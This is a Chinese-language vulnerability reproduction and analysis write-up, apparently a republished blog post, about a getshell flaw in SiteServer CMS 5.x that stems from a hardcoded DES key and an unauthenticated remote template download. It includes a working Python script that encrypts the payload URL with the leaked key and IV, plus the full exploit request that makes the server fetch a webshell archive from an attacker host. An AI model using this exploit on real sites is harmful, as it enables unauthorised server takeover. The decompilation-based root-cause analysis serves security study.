SiteServer CMS 5.x 漏洞復現&分析


0x01 漏洞背景

該漏洞是由於5.x的密鑰是硬編碼在config文件中,且downloadurl存在未授權訪問,導致可以從遠程下載壓縮包文件並解壓到web目錄,因此可以通過構造惡意的jsp包打包成的壓縮文件進行getshell。

已知漏洞公開鏈接:

https://github.com/zhaoweiho/SiteServer-CMS-Remote-download-Getshell

下載鏈接:

http://download.siteserver.cn/5.0/siteserver_install.zip

環境:

操作系統: winserver2008
web服務器: iis7.0 
數據庫: mssql2005 
.net環境: 4.5+

安裝:

Win2008 配置iisweb,將siteserver_install解壓后的文件放到web根目錄下,訪問siteserver路徑自動跳轉安裝

0x02 漏洞利用

原github上的poc的利用,由於github做了一些下載的限制,因此需要重新更換poc的鏈接。重新進行加解密

image-20210128163359756

該加解密算法的python版本為

from pyDes import *
import base64


iv = "\x12\x34\x56\x78\x90\xAB\xCD\xEF"
key = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"
input_str = "http://192.168.52.2:8000/webshell/poxteam.zip"

#encrypt
k = des(key[0:8], CBC, iv,pad=None, padmode=PAD_PKCS5)
a = k.encrypt(input_str)
c = base64.b64encode(a)
d = c.replace("+", "0add0").replace("=", "0equals0").replace("&", "0and0").replace("?", "0question0").replace("/", "0slash0")
print d



#decrypt
en = d.replace("0add0","+").replace("0equals0","=" ).replace("0and0","&" ).replace("0question0","?").replace("0slash0","/")
#en  = "ZjYIub/YxA2hc47NUFitAa/c/WMcuk7GQ4+P+eVq1v9u/TV3zrsdlbmZpWolkpKR"
b64en = base64.b64decode(en)
t = k.decrypt(b64en)
print t

生成的加密字符串進行利用,該利用的接口如下,主要更換downloadUrl的值即可

http://192.168.52.8/SiteServer/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=ZjYIub0slash0YxA2hc47NUFitAa0slash0c0slash0WMcuk7GQ40add0P0add0eVq1v9u0slash0TV3zrsdlbmZpWolkpKR&directoryName=sectest

相應也需要提前部署好對應的下載的壓縮包的服務器地址。

http://192.168.52.2:8000/webshell/poxteam.zip

0x03 漏洞分析

根據poc中的地址,先看SiteServer/Ajax/ajaxOtherService.aspx觸發點

image-20210128191600997

但在全局中並沒有找到相關連的代碼,作者在freebuf中直接貼了c#的代碼,本人去翻了一遍ajaxBackupService.cs沒搜到,最后發現bin目錄下有很多dll,借助工具進行逆向,工具地址如下

https://github.com/icsharpcode/ILSpy

image-20210128191826034

將dll拖到工具中進行逆向,定位到ajaxOtherService

image-20210128192005512

根據參數type=SiteTemplateDownload,跟進Page_load方法的SiteTemplateDownload條件中。對url進行解密

image-20210128193944303

解密方法為先替換關鍵詞,接着進行des解密

image-20210128194114841

從一下路徑中獲取配置文件中的加密的key的值

image-20210128194908769

image-20210128194701114

跟進DesDecrypt方法找出iv的值

image-20210128195137912

最后進行解密后,傳入SiteTemplateDownload方法,下載遠程壓縮文件,解壓到固定路徑下+傳入的路徑名。

image-20210128195435754

下載成功后,訪問路徑的webshell

image-20210128195827638

0x04 參考鏈接

http://www.zzvips.com/article/108575.html

https://github.com/zhaoweiho/SiteServer-CMS-Remote-download-Getshell

http://whitemans.ca/des.html

https://www.cnblogs.com/ichunqiu/p/7562982.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM